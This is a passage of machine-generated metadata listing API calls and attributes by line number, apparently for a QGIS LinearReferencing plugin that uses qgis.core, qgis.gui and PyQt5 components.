"attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 67, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 67, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 79, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 79, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 91, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 91, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 103, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 103, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 115, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 115, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 127, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 127, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 140, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 140, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 152, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 152, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 164, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 164, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 177, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 177, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 189, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 189, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 201, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 201, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 213, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 213, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 225, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 225, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 238, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 238, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 250, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 250, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 262, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 262, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 274, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 274, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 286, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 286, "usage_type": "attribute"}, {"api_name": "qgis.gui", "line_number": 350, "usage_type": "attribute"}, {"api_name": "qgis.gui.QgsMapToolEmitPoint.__init__", "line_number": 355, "usage_type": "call"}, {"api_name": "qgis.gui", "line_number": 355, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 362, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 362, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 362, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 363, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 363, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 363, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 364, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 364, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 364, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 365, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 365, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 365, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 366, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 366, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 366, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 367, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 367, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 367, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 368, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 368, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 368, "usage_type": "name"}, {"api_name": "qgis.gui.QgsVertexMarker", "line_number": 380, "usage_type": "call"}, {"api_name": "qgis.gui", "line_number": 380, "usage_type": "attribute"}, {"api_name": "qgis.gui.QgsVertexMarker", "line_number": 384, "usage_type": "call"}, {"api_name": "qgis.gui", "line_number": 384, "usage_type": "attribute"}, {"api_name": "qgis.gui.QgsRubberBand", "line_number": 388, "usage_type": "call"}, {"api_name": "qgis.gui", "line_number": 388, "usage_type": "attribute"}, {"api_name": "qgis.core", "line_number": 388, "usage_type": "attribute"}, {"api_name": "qgis.gui.QgsRubberBand", "line_number": 392, "usage_type": "call"}, {"api_name": "qgis.gui", "line_number": 392, "usage_type": "attribute"}, {"api_name": "qgis.gui.QgsSnapIndicator", "line_number": 397, "usage_type": "call"}, {"api_name": "qgis.gui", "line_number": 397, "usage_type": "attribute"}, {"api_name": "LinearReferencing.dialogs.PolDialog", "line_number": 400, "usage_type": "call"}, {"api_name": "LinearReferencing.dialogs", "line_number": 400, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 483, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 483, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QApplication.keyboardModifiers", "line_number": 505, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 505, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 505, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 505, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 505, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QApplication.keyboardModifiers", "line_number": 507, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 507, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 507, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 507, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 507, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QApplication.keyboardModifiers", "line_number": 509, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 509, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 509, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 509, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 509, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QApplication.keyboardModifiers", "line_number": 525, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 525, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 525, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 525, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 525, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QApplication.keyboardModifiers", "line_number": 527, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 527, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 527, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 527, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 527, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QApplication.keyboardModifiers", "line_number": 529, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 529, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 529, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 529, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 529, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 561, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 561, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 561, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 592, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 592, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 592, "usage_type": "name"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 598, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 598, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 607, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 607, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 612, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 612, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 612, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 612, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyDebugFunctions.get_debug_pos", "line_number": 628, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 634, "usage_type": "attribute"}, {"api_name": "qgis.core", "line_number": 637, "usage_type": "attribute"}, {"api_name": "qgis.core", "line_number": 640, "usage_type": "attribute"}, {"api_name": "qgis.core", "line_number": 643, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 661, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 661, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 661, "usage_type": "name"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 669, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 669, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.question", "line_number": 672, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 672, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 672, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyDebugFunctions.get_debug_pos", "line_number": 674, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 675, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 675, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 675, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 675, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 676, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 676, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 677, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 677, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 680, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 680, "usage_type": "name"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 682, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 682, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 684, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 684, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 684, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 684, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 686, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 686, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 686, "usage_type": "name"}, {"api_name": "datetime.date.today", "line_number": 703, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 703, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QInputDialog.getText", "line_number": 709, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QInputDialog", "line_number": 709, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 709, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyDebugFunctions.get_debug_pos", "line_number": 709, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 709, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 709, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 709, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 709, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 711, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 711, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 711, "usage_type": "name"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 717, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 717, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.question", "line_number": 721, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 721, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 721, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyDebugFunctions.get_debug_pos", "line_number": 723, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 724, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 724, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 724, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 724, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 725, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 725, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 726, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 726, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 729, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 729, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 734, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 734, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 734, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 746, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 746, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 746, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 746, "usage_type": "name"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 755, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 755, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 758, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 758, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 761, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 761, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 761, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 761, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QColor", "line_number": 924, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 924, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QColor", "line_number": 931, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 931, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QColor", "line_number": 940, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 940, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QColor", "line_number": 942, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 942, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QColor", "line_number": 951, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 951, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QColor", "line_number": 953, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 953, "usage_type": "name"}, {"api_name": "qgis.core.QgsCoordinateTransform", "line_number": 969, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 969, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 969, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 975, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 975, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 975, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 975, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.get_feature_by_value", "line_number": 1006, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 1006, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 1006, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.get_feature_by_value", "line_number": 1008, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 1008, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 1008, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 1014, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 1014, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 1014, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 1014, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 1017, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 1017, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 1017, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 1017, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 1020, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 1020, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 1020, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 1020, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 1023, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 1023, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 1023, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.get_feature_by_value", "line_number": 1040, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 1040, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 1040, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.get_feature_by_value", "line_number": 1041, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 1041, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 1041, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.get_feature_by_value", "line_number": 1059, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 1059, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 1059, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 1098, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 1098, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 1098, "usage_type": "name"}, {"api_name": "qgis.core.QgsVectorLayerUtils.getValues", "line_number": 1121, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 1121, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 1125, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 1125, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 1125, "usage_type": "name"}, {"api_name": "qgis.core.QgsVectorLayerUtils.getValues", "line_number": 1131, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 1131, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QApplication.keyboardModifiers", "line_number": 1133, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 1133, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 1133, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 1133, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 1133, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 1140, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 1140, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 1140, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 1142, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 1142, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 1142, "usage_type": "name"}, {"api_name": "sys.float_info", "line_number": 1158, "usage_type": "attribute"}, {"api_name": "sys.float_info", "line_number": 1159, "usage_type": "attribute"}, {"api_name": "sys.float_info", "line_number": 1160, "usage_type": "attribute"}, {"api_name": "sys.float_info", "line_number": 1161, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.get_feature_by_value", "line_number": 1164, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 1164, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 1164, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.get_feature_by_value", "line_number": 1166, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 1166, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 1166, "usage_type": "name"}, {"api_name": "qgis.core.QgsCoordinateTransform", "line_number": 1172, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 1172, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 1172, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.get_feature_by_value", "line_number": 1184, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 1184, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 1184, "usage_type": "name"}, {"api_name": "qgis.core.QgsRectangle", "line_number": 1198, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 1198, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsPointXY", "line_number": 1203, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 1203, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 1207, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 1207, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 1207, "usage_type": "name"}, {"api_name": "qgis.core.QgsVectorLayerUtils.getValues", "line_number": 1214, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 1214, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QApplication.keyboardModifiers", "line_number": 1216, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 1216, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 1216, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 1216, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 1216, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 1224, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 1224, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 1224, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 1226, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 1226, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 1226, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.get_feature_by_value", "line_number": 1240, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 1240, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 1240, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.question", "line_number": 1245, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 1245, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 1245, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyDebugFunctions.get_debug_pos", "line_number": 1247, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 1248, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 1248, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 1248, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 1248, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 1249, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 1249, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 1250, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 1250, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 1253, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 1253, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 1255, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 1255, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 1259, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 1259, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 1259, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.get_feature_by_value", "line_number": 1279, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 1279, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 1279, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 1285, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 1285, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 1285, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 1285, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 1288, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 1288, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 1288, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 1288, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 1295, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 1295, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 1295, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 1295, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 1301, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 1301, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 1301, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 1301, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 1304, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 1304, "usage_type": "attribute"}, 